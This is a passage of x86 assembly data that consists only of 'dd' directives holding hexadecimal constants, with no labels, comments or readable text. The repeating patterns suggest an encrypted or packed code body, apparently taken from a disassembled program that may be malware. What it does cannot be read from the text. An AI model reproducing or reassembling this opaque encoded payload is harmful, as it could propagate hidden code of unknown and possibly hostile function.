		dd 9FBB0D18h, 14DA3287h, 0D3DEAE3h, 4432156Ch, 22231B8Eh
		dd 11A3FC66h, 3631566h,	40E07EB1h, 246780EFh, 1558108Eh
		dd 8822150Eh, 44584766h, 2B938099h, 94BB108Eh, 8DDA3E2Fh
		dd 0AC6BC5EDh, 223205B9h, 5531B830h, 3A53142h, 840042B9h
		dd 0DBB71AC8h, 4FCDEA99h, 360EE4Dh, 0FD8F9EB1h,	0A137FD69h
		dd 0D101EAAFh, 490013ECh, 0C3369E20h, 113AFCA7h, 943D5FAEh
		dd 77CDEA8Ch, 94C5D4EDh, 0A1309C3Ch, 0EE6011A4h, 603150E3h
		dd 1A79E63h, 1B37FD65h,	0F915F4F3h, 82B61A63h, 1E321566h
		dd 26F49638h, 0EECD8E8Fh, 0E96C4F99h, 0C1F54D3Fh, 27DA069Fh
		dd 11321566h, 843390A1h, 4432108Eh, 9FB11566h, 14DCCDDCh
		dd 80B61A66h, 0C9321566h, 0CC0D1BFBh, 0EEE1EA63h, 603F84E3h
		dd 0D58F9663h, 4637FD6Bh, 11509769h, 0DF51566h,	41DA18F7h
		dd 22321567h, 83879806h, 537FBBFh, 0AAC7E8DBh, 0A9CC3E63h
		dd 0A88F9EB1h, 0B37FD69h, 8401EAAFh, 0E30013ECh, 96369E20h
		dd 0BB3AFCA7h, 0C13D5FAEh, 0DDCDEA8Ch, 0C1C5D4EDh, 8A43905Fh
		dd 0C03D108Eh, 22321571h, 1907A8E5h, 8732108Eh,	44321FE3h
		dd 0B3B7D266h, 1037FD61h, 0E9321566h, 1934B0DFh, 2A32AF35h
		dd 989F08F8h, 601650D3h, 0B874D263h, 22321566h,	0FFDCFB5Bh
		dd 0A8B71A88h, 0C5321566h, 0FFEFC858h, 5B71ABBh, 4F321566h
		dd 44321560h, 26F49666h, 3577A0EFh, 71DB108Eh, 0CF32156Eh
		dd 0B3B726BEh, 0D037FD61h, 4A1916AEh, 7722D5A7h, 0B3AF9CA7h
		dd 2C37FD61h, 88331566h, 44779669h, 1CB31566h, 0AA89AEDDh
		dd 880B9069h, 42F51566h, 22321566h, 9836D3E5h, 601650D3h
		dd 99AF9E63h, 0A937FD7Ch, 71E29E6Dh, 0D19D7EDh,	41DA372Fh
		dd 2130F5A7h, 0F92144E3h, 8B9F8363h, 60769CA7h,	5EDB747Ah
		dd 40321566h, 3FB2634h,	0AC195CF3h, 2D302E63h, 11322DE2h
		dd 8CF09666h, 0A5BF2E27h, 2D37FD41h, 0EECDFDE3h, 0FF879899h
		dd 0C937FBBEh, 0CA3230DBh, 0D1B6B963h, 88349169h, 0AD981566h
		dd 0DDCDEA97h, 113215DEh, 0E2BF9866h, 0BB37FD2Bh, 67BF9C87h
		dd 4B37FD65h, 15B9433Fh, 41DA0FBBh, 0A7B91EEDh,	14DA1623h
		dd 0D31F5B7h, 41DA136Fh, 44A4E355h, 13D2D4CBh, 9B639065h
		dd 0E9A4108Eh, 0A16CD465h, 0F9358CDBh, 0C3D1463h, 4432155Fh
		dd 76B985Dh, 953D108Eh,	8832154Bh, 4BEF985Dh, 0A63D108Eh
		dd 11321547h, 989F985Dh, 0C03D108Eh, 22321573h,	0FCE788EBh
		dd 5BCD1088h, 0C1BBEDEDh, 27DA32F3h, 1134A18Fh,	5DAF9866h
		dd 0BB37FB8Bh, 0BB8F96B5h, 1137FD61h, 882F9169h, 0C1091566h
		dd 27DA0F6Bh, 113E9169h, 0D091566h, 41DA3993h, 22379069h
		dd 0A8DB1566h, 0B3CDEA99h, 0AC1FD0E3h, 3AB71A63h, 92321566h
		dd 6022ACDBh, 0C13D1563h, 2232156Dh, 0A87390EBh, 1DDB1088h
		dd 7FCDEA99h, 0CA1FD0E3h, 98B61A63h, 0BCDEA99h,	0AAEA66DBh
		dd 0A73D1463h, 11321571h, 50E0905Dh, 0C13D1088h, 2232156Dh
		dd 0F79290EBh, 0E5DB153Eh, 77CDEA99h, 4B8F9699h, 1137FD7Fh
		dd 8B559169h, 0C1091566h, 27DCCDD8h, 94B91213h,	8DDA3F87h
		dd 82B72E21h, 5737FBBEh, 54B79E61h, 0CF37FD69h,	9CF0905Dh
		dd 25471088h, 39BB90EDh, 0B375108Eh, 0AAEADFE3h, 0A9356063h
		dd 0F91308E3h, 0D095263h, 41DCCDA8h, 0A7B91213h, 14DA30B3h
		dd 5AB72E21h, 3137FBBEh, 57B79E61h, 5637FD44h, 50E4905Dh
		dd 43471088h, 0B7F90EDh, 2A75108Eh, 66EACFE3h, 0CF356063h
		dd 0CA3158E3h, 94095263h, 8DDCCDB8h, 0C1B91213h, 27DA1C1Bh
		dd 0F3B72E21h, 0FD37FBBEh, 9B79E61h, 6537FD7Dh,	0C9D8905Dh
		dd 8F471088h, 4E1F90EDh, 1975108Eh, 0FFEAF3E3h,	0B226063h
		dd 0AC1B14DBh, 25471563h, 316B90EDh, 0B75108Eh,	0AC13DCDBh
		dd 2D461563h, 0C840905Dh, 8F471088h, 48FB90EDh,	0A175108Eh
		dd 0F91B88DBh, 0FA461563h, 6A9FA8E5h, 5632108Eh, 47B72E0Fh
		dd 0FD37FBBFh, 0D5B79E61h, 6537FD6Fh, 0C854905Dh, 8F471088h
		dd 496B90EDh, 1975108Eh, 0FFEB4FE3h, 3356063h, 0AC100CE3h
		dd 0A7095263h, 14DCCC0Ch, 0DB91213h, 41DA1327h,	4CB72E21h
		dd 6437FBBFh, 45B79E61h, 337FD45h, 0FB6C905Dh, 16471088h
		dd 972F90EDh, 7F75108Eh, 0CCEB77E3h, 9A356063h,	60161CE3h
		dd 0F9B15263h, 27DA3BCBh, 1BB61A66h, 0B3321564h, 0AAEAFBE3h
		dd 0A9356063h, 0F911D4E3h, 0D095263h, 41DCCCE4h, 0A7B91213h
		dd 14DA050Fh, 7AB72E21h, 3137FBBEh, 73B79E61h, 5637FD55h
		dd 50C4905Dh, 43471088h, 257790EDh, 2A75108Eh, 66EAEFE3h
		dd 0CF356063h, 0CA00ECE3h, 94095263h, 8DDCCD98h, 0F9B10513h
		dd 27DA3C67h, 9A356066h, 601A64E3h, 0C1095263h,	27DCCC64h
		dd 94B91213h, 8DDA12DFh, 42B72E21h, 5737FBBFh, 108F9676h
		dd 8837FD4Fh, 0C1B91213h, 27DA3987h, 1BB72E21h,	0FD37FBBFh
		dd 0D9B79E61h, 6537FD6Ah, 0C83C905Dh, 8F471088h, 46CF90EDh
		dd 1975108Eh, 0FFEB03E3h, 0B226063h, 0AC1B14DBh, 25471563h
		dd 39B390EDh, 0B375108Eh, 0AAEB07E3h, 0A1226063h, 0F91B14DBh
		dd 8F471563h, 673790EDh, 1975108Eh, 0FFEB0FE3h,	3356063h
		dd 0AC3900E3h, 0A7095263h, 14DCCC78h, 0DB91213h, 41DA243Bh
		dd 0B72E21h, 6437FBBFh,	35B79E61h, 337FD47h, 0FB14905Dh
		dd 16471088h, 0A63B90EDh, 7F75108Eh, 0CCEB3FE3h, 9A356063h
		dd 601344E3h, 0C1095263h, 27DCCC48h, 94B91213h,	8DDA035Fh
		dd 76B72E21h, 5737FBBFh, 80B79E61h, 0CF37FD72h,	9D04905Dh
		dd 25471088h, 1F3790EDh, 0B375108Eh, 0AC1EB8E3h, 0A9356063h
		dd 0F93D8CE3h, 0D095263h, 41DCCC5Ch, 0A7B91213h, 14DA39D3h
		dd 0FEB72E21h, 3137FBBFh, 5C8F967Fh, 1137FBBFh,	35B11C13h
		dd 41DA12FFh, 0A9356166h, 0F92604E3h, 0D095263h, 41DCCC1Ch
		dd 9FB10C13h, 14DCCC18h, 0B3B6066h, 0AC358CDBh,	25461563h
		dd 3CDF90EDh, 0B375108Eh, 0AAEB2BE3h, 0A9356063h, 0F912B0E3h
		dd 0D095263h, 41DCCC24h
		dd 0A7B91213h, 14DA003Fh, 0CEB72E21h, 3137FBBFh, 0AFB79E61h
		dd 5637FD73h, 5178905Dh, 43471088h, 256390EDh, 2A75108Eh
		dd 66EB5BE3h, 0CF356063h, 0CA11E0E3h, 94095263h, 8DDCCC34h
		dd 0C1B91213h, 27DA36A7h, 1ECD1E21h, 883210E2h,	0BFD8FC66h
		dd 0A709EA99h, 14DA3A8Fh, 88399069h, 0C1BF1566h, 27DC69D7h
		dd 0EEC9C68Fh, 95B72E99h, 4B37FD72h, 22320DE3h,	628F9666h
		dd 8937FBBEh, 44399069h, 0A7BF1566h, 116AF345h,	77C9BA8Fh
		dd 0EAB72E99h, 2D37FBBEh, 113219E2h, 3AB72E66h,	4B37FBBEh
		dd 223210E3h, 0EAA0FC66h, 888CEA99h, 0C7321566h, 0A73D1498h
		dd 11321523h, 5090905Dh, 0C13D1088h, 2232156Dh,	73D690EBh
		dd 0E5DB153Eh, 7FCDEA9Dh, 0CCEAB3E3h, 1AB71A63h, 5321566h
		dd 1C514FE3h, 0D964FC66h, 9409EA99h, 8DDCCDCCh,	44399069h
		dd 0A7BF1566h, 116A76F9h, 77C92A8Fh, 0FAF29E99h, 22321567h
		dd 943DE36Dh, 88321563h, 0BBC9368Fh, 0ABC29E99h, 0F937A4D3h
		dd 51879C63h, 0C437FD49h, 0A73DFC58h, 11321540h, 8B336BEDh
		dd 0C5EC9E98h, 227215A5h, 0A08F2E66h, 8737FD63h, 44321DE4h
		dd 2DC92E66h, 113210E0h, 72D4FC66h, 0F9B9EA99h,	27DA1AE3h
		dd 3E8F90A1h, 8832108Eh, 0CD521566h, 0CA1DCCD3h, 0A7AF9863h
		dd 7737FB95h, 66B01AB5h, 0AF321566h, 0FC9E93FBh, 87E1EA63h
		dd 0BBCDCBE5h, 0FB879E99h, 9837FD49h, 601DA8D3h, 0F2AF9863h
		dd 0DD37FB58h, 0A0B79EB5h, 137FD63h, 0AC1DCCE3h, 0BFBF7463h
		dd 14DCE579h, 15BFC699h, 41DCE661h, 0A13DC699h,	1132156Ah
		dd 0A7EB90E5h, 0AD37108Eh, 0DDCDEAB8h, 0E20288EBh, 5BCD1088h
		dd 443A9669h, 0E0B11566h, 1100FC62h, 15BF1566h,	41DFB9E0h
		dd 0A13DC699h, 1132156Dh, 0A7EBA0EDh, 0C4DB108Eh, 0A9321561h
		dd 0F91DCCEBh, 51879C63h, 6F37FD49h, 9EBE2A8h, 0F896E697h
		dd 77CDEAF0h, 7B3C88EBh, 0F1CD1088h, 9419D2EDh,	8DDA1AE3h
		dd 4F3790EFh, 0A7B9108Eh, 14DA1AE3h, 5BF4531h, 41DC2AE5h
		dd 0A7B9C499h, 14DA0C2Fh, 0DB94236h, 41DA1AE3h,	90BF9836h
		dd 0EE37FB59h, 3E29EB7h, 0DBF3EAEh, 0A137FD7Fh,	0F920FCDBh
		dd 0C3D1563h, 4432154Dh, 12B790EDh, 9419108Eh, 8DDA078Fh
		dd 0C23DD45Dh, 22321571h, 3C5F90EDh, 0D31108Eh,	41DA078Fh
		dd 5A790EFh, 52DB108Eh,	0D9321566h, 497AD4EDh, 22321A99h
		dd 94B79C26h, 8937FD56h, 0AC1BA0E3h, 0CBB7D263h, 1137FD74h
		dd 0E2321566h, 54327D26h, 48631566h, 0B0A7EA66h, 7737FD6Fh
		dd 0AC3F78F3h, 4FB79C63h, 9837FD4Bh, 601580E3h,	0F1CD4C63h
		dd 27DA32F3h, 87BA099h,	7765108Eh, 0AC3D90D3h, 66B79863h
		dd 0EE37FB22h, 61BF14B6h, 0CF37FD74h, 0CA1580DBh, 58879E63h
		dd 7B37FD7Fh, 1879EC2h,	8F37FD42h, 11CE53A1h, 49321566h
		dd 0E13710A6h, 21614860h, 0F926ECE3h, 1DBF9E63h, 0CD37FD41h
		dd 64F5B86Eh, 1132159Ah, 0CD879C66h, 0C737FD42h, 0A73DEA9Eh
		dd 11321546h, 55EF2BE7h, 0C13DC8BBh, 22321572h,	113213A1h
		dd 4EB11566h, 1879C62h,	0CB37FD42h, 0EECDE380h,	8B31D5A7h
		dd 0AC26ECE3h, 6B8F9663h, 1037FD70h, 88AF9169h,	7AB31566h
		dd 8898BFCCh, 11209069h, 4EB11566h, 0B874D262h,	22321566h
		dd 0F8DBA5F1h, 88321565h, 14DAA5F1h, 25ABA8E5h,	1E33108Eh
		dd 88322BE2h, 4532AD66h, 9FB11566h, 14DCCDDCh, 80B61A66h
		dd 0C9321566h, 0CC7590FBh, 91E1EA63h, 0C3D8559h, 4432156Eh
		dd 0CB37D2E5h, 11321525h, 8762EDE5h, 44321FE4h,	88A2A566h
		dd 35DBBF3Eh, 0D0321566h, 0BB4D95CCh, 3AB71A8Fh, 92321566h
		dd 66EAAFDBh, 0C03D1563h, 2232156Eh, 566788EBh,	5BCD1088h
		dd 0CF3652EEh, 0CA1580E3h, 92F53E63h, 2599118Eh, 44CE53A1h
		dd 0CB321566h, 0EECDEA77h, 0AC77A0EFh, 2C60108Eh, 22329566h
		dd 0A4CD150Ch, 8DDA3E2Fh, 75738099h, 0A968108Eh, 0F928C8EBh
		dd 8833D263h, 0C7321566h, 0AFBB11A7h, 14DA0FBBh, 77C7058Fh
		dd 4296FC99h, 0A9521566h, 0F928C8EBh, 13B9E63h,	0AAEAA3EBh
		dd 6C0A9463h, 1E7E5132h, 883209E3h, 3CB37366h, 2D1C5962h
		dd 113205E3h, 0BC29E66h, 0C1B913A0h, 27DA257Bh,	1133138Fh
		dd 3C29E66h, 0E8FB26B6h, 0A63D155Ah, 1132153Bh,	0C3D385Ah
		dd 0BBCDEA89h, 0A63D3B5Ah, 1132155Bh, 0A3D255Ah, 44321466h
		dd 0A43D2C5Ah, 0EECDEAB1h, 0A3D545Ah, 44321596h, 0A43D4F5Ah
		dd 0EECDEAA1h, 0C3D4A5Ah, 0BBCDEAD9h, 0A03D745Ah, 113215BEh
		dd 0E3D6F5Ah, 0BBCDEAC9h, 2232DE8Fh, 0C7095766h, 88F09169h
		dd 5781566h, 0DDCD8F8Fh, 1EFB9099h, 8832A6E2h, 25879866h
		dd 0A937FD49h, 0A1C89EACh, 0D3DBB48h, 0BBCDEA9Fh, 0FBC5DA4Dh
		dd 0E6B5EC4Dh, 0CFF4B195h, 0D1BF1599h, 27DA3A07h, 365390EDh
		dd 48B7108Eh, 44289069h, 0A7F41566h, 14DA3573h,	2FE07D21h
		dd 0F1CDC1FCh, 27DA19CFh, 6A0290EBh, 58CD108Dh,	0C1E2EA34h
		dd 1AB71AA6h, 9A321566h, 602D24E3h, 4BF29063h, 22320FE3h
		dd 4B7D366h, 0C437FD46h, 9E2EFC0Eh, 8B87EABFh, 9C37FD6Ah
		dd 634925E3h, 16E2EA63h, 0E2B7C599h, 11379069h,	0A9DB1566h
		dd 0CD321566h, 0CCEAA3E3h, 9C644563h, 63A0EFE3h, 4FE2EA63h
		dd 27B71AA6h, 0F8321566h, 88321562h, 581651EFh,	0A952D607h
		dd 0FFEAA3EBh, 49B94563h, 0CF0E5565h, 22329DF6h, 0F4A79C66h
		dd 8D37FD72h, 4432159Eh, 0AB3E45EDh, 0F91FA4F3h, 0CCB94D63h
		dd 85193142h, 0F83905Dh, 933D108Eh, 88321576h, 50D7905Dh
		dd 0A13D108Eh, 11321562h, 8836D707h, 6036D207h,	22321566h
		dd 151651A1h, 88321566h, 443210DEh, 48BF9866h, 0EE37FD2Bh
		dd 8EB87587h, 0C03DFC5Ah, 22321558h, 953DFD5Ah,	88321524h
		dd 0C03D1A5Ah, 22321574h, 953DD85Ah, 88321559h,	0C03DFE5Ah
		dd 2232152Fh, 4FB8D607h, 78D19567h, 4BB2EEE6h, 0DDCDFAE3h
		dd 92EC9E99h, 0D63113A5h, 4426FC64h, 7CB91566h,	0EAC99667h
		dd 881B9169h, 9AB91566h, 0A1334B65h, 0D8DB10A5h, 87CDEA99h
		dd 0C7334BD0h, 0A63D3B8Dh, 0EECDEADAh, 88321F8Fh, 454C9566h
		dd 8FB71A98h, 0F8CDEA99h, 77CDEA06h, 13614430h,	0A89ED555h
		dd 0E1D195BEh, 8742EEE6h, 4432F9E2h, 2D3D2966h,	113230E2h
		dd 87DB2966h, 443391E2h, 2DD92966h, 113000E2h, 87D12966h
		dd 443264E2h, 2DD02966h, 113056E2h, 0D1694A66h,	0C1F5D638h
		dd 27DCCCE0h, 11321560h, 6BB20BECh, 0C4C99596h,	0DDD19069h
		dd 9A7CEA99h, 6037A4E3h, 0F9A79E63h, 0A937FD49h, 17F196B8h
		dd 0B3304B65h, 4CB01ABEh, 19321566h, 0AFB41ABCh, 0A3CDEA99h
		dd 42D996B9h, 8954B800h, 0D7B1BEF5h, 0AC0E9C62h, 481661EFh
		dd 0DEBA0EFh, 4A6D108Eh, 4CB14B3Fh, 0BE52FC62h,	0A7F5EA99h
		dd 14DCCCE0h, 88321564h, 0F23DCBEDh, 0A2CB9568h, 113A9669h
		dd 51311566h, 443FFC25h, 0CBB21566h, 90EBE299h,	8832EA87h
		dd 0CFEB3E66h, 0CA37A4E3h, 0ACA79E63h, 0B37FD49h, 0AC21ECDBh
		dd 0A63D1463h, 113215C5h, 0A3DCD5Dh, 443215FDh,	0A03DCF5Dh
		dd 0EECDEA27h, 88329B8Fh, 0C2B7D266h, 2037FBBFh, 9A321566h
		dd 86841AB8h, 4BB2ECE6h, 22321DE5h, 52EB1666h, 8832188Fh
		dd 0BBDB9566h, 0C3B3CC91h, 11321599h, 0DB9CC4Dh, 41DA10D7h
		dd 0D8F80EDh, 0ACB1108Eh, 8DDA069Fh, 0CB61A67h,	19321566h
		dd 19B01ABEh, 0B3321566h, 0A2B41ABCh, 6CCDEA98h, 9B981AD6h
		dd 8B2A568h, 85381A87h
		dd 0A1ED3ECCh, 0BAA1118Dh, 130D3E5h, 0AC1DCCD3h, 0DBB7D263h
		dd 1037FD75h, 0B321566h, 1D6911A2h, 0A136D1E5h,	66DB11A2h
		dd 0C6CDEA9Fh, 0CF98FCD6h, 0A1F53EA0h, 9299118Eh, 0D16911A2h
		dd 40F69638h, 0DDCBD28Fh, 97B7D299h, 8D37FBBFh,	0CF321566h
		dd 26F196B8h, 94B90B65h, 8DDA10D7h, 6B8F80EDh, 0A17C108Eh
		dd 0F93E14DBh, 0C3D1463h, 44321465h, 0A03DCD5Dh, 1132156Eh
		dd 0E3DCF5Dh, 4432154Dh, 0DEBA0EFh, 8CB9108Eh, 8DDCCCE0h
		dd 48164967h, 2232CB8Fh, 94F54A66h, 8DDA1967h, 44321567h
		dd 0A16C4C3Dh, 0E6DB11A2h, 0BCDEA9Eh, 0AC21ECDBh, 0A63D1463h
		dd 113215DDh, 8D83884Dh, 0C9B9108Eh, 27DA1AE3h,	0DE19DE65h
		dd 3837FCE5h, 0EFA3BF8Fh, 7936D1E5h, 0D5B14B3Fh, 711CFC62h
		dd 0C1F5EA99h, 27DCCCE0h, 11321564h, 3E3DCBEDh,	0C4CB9568h
		dd 223A9669h, 0C8311566h, 883FFC25h, 0ADB21566h, 0A3EBE299h
		dd 1132EA87h, 3EB3E66h,	0AC37A4E3h, 9FA79E63h, 0F837FD49h
		dd 77CDEA20h, 9DB490A1h, 22301088h, 0CFB91566h,	83CA369h
		dd 0C73D959Fh, 2232156Eh, 0F871CC65h, 8832156Bh, 0B3CDFCE6h
		dd 0DDD394BFh, 3A321566h, 39B79EBFh, 0CF37FD63h, 0CA1DA8F3h
		dd 0E88F9663h, 8937FD75h, 0BAFB9169h, 0FA09EA99h, 113A9769h
		dd 52091566h, 0B9559369h, 0A97CEA99h, 92FD3EA8h, 6182108Fh
		dd 0AD9984CCh, 0DDCDEDEEh, 0F90E13ECh, 88349169h, 0ADCA1566h
		dd 2232157Eh, 12EC9E35h, 4BB11438h, 0EEDAA563h,	0C9B1CA4Dh
		dd 4A998662h, 7137D3E5h, 0CF5444A5h, 2DF12960h,	113255E2h
		dd 87F92966h, 44322DE2h, 2DF02966h, 11322DE2h, 87F82966h
		dd 443225E2h, 0DD0F7366h, 21B61A43h, 0EE321566h, 4BCD3B5Bh
		dd 223218E3h, 13749F66h, 280EE542h, 44119169h, 0DA6B1566h
		dd 11322C8Fh, 0C9FB2666h, 44320C8Fh, 2231AC66h,	1EDB1566h
		dd 31321566h, 44321560h, 2232108Fh, 1135AC66h, 2CC11566h
		dd 6B8F98EDh, 0EBB7108Eh, 11349069h, 3DBB1566h,	41DA3ADBh
		dd 44F1EC3Fh, 0D20E13EDh, 88579169h, 9CB81566h,	0A2C2F6E6h
		dd 953D659Dh, 883215FAh, 0C03DFC5Ah, 22321529h,	953DFE5Ah
		dd 88321521h, 0C03DD75Ah, 22321559h, 953DDE5Ah,	88321551h
		dd 61CD2800h, 221F9169h, 0DB0E1566h, 88179169h,	0A70E1566h
		dd 22509169h, 2C541566h, 0D3DEA48h, 4432156Bh, 63053ECh
		dd 1E922996h, 883213E2h, 4BDBED66h, 0AB321566h,	0F91DA8D3h
		dd 3EAF9863h, 0BB37FB58h, 72F1ECB5h, 982253EDh,	60105CE3h
		dd 82B14D63h, 738F987Ah, 0BC37FD75h, 0AC165165h, 6D8F98CDh
		dd 8F37FD4Dh, 35165165h, 35BFBE36h, 41DA136Fh, 67616CBh
		dd 0D26CBE4Eh, 7AF9830h, 0BB37FB58h, 0FF95FCB5h, 0CEDFFFFFh
		dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 0AB4CB1C0h, 0A8ED96A7h
		dd 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h,	798A152Ah
		dd 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h
		dd 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah
		dd 54A851D6h, 0BA8660D5h, 0CE2559D7h, 4064D4F3h, 0E432DCF1h
		dd 0BA8FFBE8h, 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h
		dd 0BA69B838h, 0DF07462Fh, 51469312h, 3C6D5h, 5492B85Eh
		dd 0F305E983h, 0E4CB8BA4h, 0B1DABA31h, 0EB32565Dh, 0F7D9BC2Fh
		dd 3C5253B9h, 5F095711h, 0B977DDD0h, 0F4B95163h, 0B575DF79h
		dd 38221331h, 0F4B95A1Ah, 0A175DFBAh, 0A1F09F36h, 34F436ABh
		dd 83DA76C0h, 0A4F305E9h, 9D11F1B0h, 75FD7AF2h,	0E17FB23h
		dd 25F89400h, 0FDF53FD5h, 9B461CADh, 0B7342292h, 23AC7ACFh
		dd 20AD29B7h, 75FD7A1Ah, 987C2779h, 7013C620h, 0CF10FFA0h
		dd 0C87D7FC1h, 0F305E983h, 8DDB8BA4h, 0EED992BDh, 798D8D05h
		dd 0B805EEF4h, 32156644h, 0E9C1CF2Bh, 0D0073102h, 4C783C8h
		dd 0F2850F49h, 8BFFFFFFh, 89BD83C0h, 5E80Eh, 0BD830975h
		dd 5E80BE9h, 50197400h,	0B8C08B53h, 411h, 1AF98589h, 9D8D05E8h
		dd 5EAA9B5h, 585BD3FFh,	0BE9BD83h, 740005E8h, 0B8535017h
		dd 411h, 1AF98589h, 9D8D05E8h, 5EAA656h, 585BD3FFh, 0F2BBC08Bh
		dd 8D4672A4h, 0EEF6C28Dh, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 65B86668h
		dd 0E1B589A2h, 8905E805h, 0E8159D8Dh, 2D850105h, 5105E81Ah
		dd 0EE9h, 42971A00h, 378950C6h,	632C14Eh, 5F92438Ah, 70585C7h
		dd 5EB405E8h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 8ACA18C3h, 6185C7D8h, 5E80Ah, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 80ABC356h, 589B2216h, 0DAF28179h,	0FF61B45Eh
		dd 0E81A39B5h, 0FFF38B05h, 0E8081595h, 0D2BF0F05h, 95FF006Ah
		dd 5E820F9h, 4AEBC08Bh,	5243CAD9h, 8543B374h, 0F9F58BD6h
		dd 0C3BE1255h, 0AD9C7597h, 44B17EA9h, 445DFE3Fh, 0D0718D5Bh
		dd 0D9BBDh, 85827FC9h, 86B3493Fh, 95BAAD9Fh, 588FD57Dh
		dd 8BA6D3BDh, 70987BA5h, 4C3ED2A7h, 87AE380Fh, 7C95337Ch
		dd 4EBD5B9h, 774607BAh,	574E9h,	7B61E800h, 0FFED68DAh
		dd 8468EC5Eh, 0BF771E3h, 8C70F86Ah, 0BB702CEBh,	3CAE4FB7h
		dd 0BE30D137h, 44B65745h, 0D539DACEh, 2E984CE7h, 0BE80A2B7h
		dd 6246CCD3h, 0D04A9D8Bh, 50AF804Dh, 0E0274D2h,	9507F596h
		dd 0ED532A9Eh, 0B3171D8Fh, 0E46ADCh, 4EBEB729h,	8775EE60h
		dd 15EC4AB0h, 1E7C055Dh, 62E19530h, 63C99CC8h, 299D9305h
		dd 271D1688h, 0C862D88Ch, 0F45AC09Ch, 6E66E153h, 0C52B02FAh
		dd 1116885Fh, 0B008D4ABh, 0DEC245D1h, 5545CB3Dh, 0AD13EADEh
		dd 1ED57047h, 609CC863h, 0CC1F72h, 72104F44h, 0C90423D7h
		dd 47AD139Ch, 106E52D5h, 93E1C9B8h, 570982C3h, 7Bh, 68DE506Ch
		dd 49379D74h, 0C837FAAEh, 2684EA9Ch, 734ABEB4h,	0C8381ED8h
		dd 770A629Ch, 0E69A3523h, 0CE9CC837h, 0DE2C0A68h, 0A20981F7h
		dd 1, 5749CCB7h, 0A214EBD3h, 62D43AA2h,	0BA91F7EDh, 8DFCD48h
		dd 0DD912C1Ah, 0CD9CC837h, 9D970967h, 4AA25A31h, 0EE66DF37h
		dd 3E15FB7Ch, 38893DD8h, 40C79CC8h, 0C82E945Ch,	4EC73927h
		dd 38873BD6h, 96F9CC8h,	5DD345A3h, 0CCDDC869h, 17896044h
		dd 8D7AE1Eh, 76C9D1B0h,	0D8B62FEAh, 3EF28D12h, 269CC8E2h
		dd 8AFC5AC0h, 0B7D1E86h, 41B3A105h, 9A00D7CBh, 2FA26347h
		dd 0E2406DDFh, 319D990Bh, 3051A95Ah, 82D91C7Ah,	0A1E009h
		dd 4F20000h, 0C915B569h, 0E13FA59Ch, 0C76250F6h, 9CC83813h
		dd 1CF3DF59h, 2A88EEB6h, 754CB0B8h, 0C49B0303h,	49CDB40Ch
		dd 0CA3CDDC1h, 0E9D35246h, 45E13B96h, 0D53B4F0Eh, 351294E7h
		dd 0C91C8083h, 0E4561F39h, 40A67D63h, 9F990BE2h, 0E4BB2327h
		dd 0A1070C7Eh, 72F2643Bh, 0CA41B38Ah, 479FFFD6h, 4937E83Ah
		dd 116F5FD7h, 7FD2C8B9h, 0ED88F4EFh, 9CC88839h,	0B868BB21h
		dd 0EF63D5ECh, 5CBA20F7h, 8280207Eh, 49E409h, 0CCF90000h
		dd 0EBD15444h, 3B3CAE85h, 0F175E7D5h, 26D8AF0Dh, 0EF63B3CEh
		dd 0CC6B56F7h, 25F07649h, 9DB9A0C0h, 0EC56037h,	509CC85Bh
		dd 6E110F62h, 1213EDA1h, 85255CB4h, 9820437h, 0AFBh, 8CBA0D00h
		dd 0E9121C3Ch, 0CC06F14Fh, 1B8D6448h, 0EDAB115h, 0CB4BCBB6h
		dd 236242E3h, 0E4730EFCh, 9296E0E9h, 6DE3552Ch
		dd 0E066D879h, 0D08A25FCh, 0DAA2B065h, 299BFF82h, 0EE60BE22h
		dd 0F5E38478h, 0BF1D8183h, 0CE3C74Dh, 5930949Ah, 0C74F328Ah
		dd 0D3697041h, 523B3D27h, 0EB5D4BECh, 1D349267h, 683ADD44h
		dd 67C52B02h, 6A783B89h, 199FF0Fh, 9F110000h, 0F75D34A8h
		dd 1F5EAE99h, 9D980AF8h, 0E1B82C23h, 0D83E157Bh, 7AF18C7Ah
		dd 0C296E017h, 7BE8376Fh, 5AB8693Fh, 0E3552C92h, 4E86D6Dh
		dd 7361C72Dh, 72E1E220h, 7664C539h, 0B07727DBh,	4BA90FA2h
		dd 0E13238AAh, 58D6C8BEh, 18EF551Eh, 735D72Ah, 2AC857Dh
		dd 0C83C32A4h, 0F57AECDAh, 0C7C0740Fh, 42A8A2B0h, 9B9B0DE4h
		dd 6BEA5C33h, 9AF2AA81h, 146C3BE7h, 3FA3A96Dh, 8772C09Eh
		dd 4E360F6Ah, 4B000000h, 0EFC1B5Eh, 46B6AE20h, 10AB096Fh
		dd 9CC8384Ch, 228A8AFCh, 964AE5BCh, 0D49CC837h,	1F91685Ch
		dd 80E0B727h, 69C95928h, 0F5387011h, 0CFAE8D6h,	0C837BD71h
		dd 7896229Ch, 322C0B02h, 0BA6046Ah, 9CC85047h, 5408A90Fh
		dd 0C7h, 0EC1F5E69h, 3220866Ah,	0E0E67097h, 262C9E96h
		dd 97855CC2h, 695A0EA9h, 5C4AA2B0h, 0B0690DC1h,	3197FDA2h
		dd 0AEB61D3h, 24B2A666h, 5AFB6132h, 6F9162E8h, 2870A71Ch
		dd 0B550278Dh, 0A2B0DAF8h, 17EED254h, 663DA1A5h, 4FD3AE06h
		dd 0DA3C459Dh, 0E1CF7054h, 0AA08F46Fh, 76648BCAh, 0C1C552DBh
		dd 0B09E049Ch, 8B7327C2h, 46D89CCEh, 0DD250E7Eh, 0CC2A9058h
		dd 2C8D83F5h, 27C2290Fh, 9CCEDD73h, 0FEAAFD63h,	0C3B117DEh
		dd 9E863AD5h, 86E9CCEh,	0E661D3AAh, 0BAB123FAh,	65BD6F46h
		dd 0E23A061Ch, 0A3CA099Fh, 3ED9C7B5h, 9CCE9D8Ah, 922E277Ah
		dd 0DF70A672h, 0F7801B79h, 0C796DF2Ch, 328A3ED9h, 147AA2B1h
		dd 50220DAEh, 0A07765DEh, 0EEC5372Eh, 0E4C42288h, 0A2907EA5h
		dd 0DBC93730h, 0C8378C40h, 0B8167C9Ch, 0D921941Dh, 5DC4296h
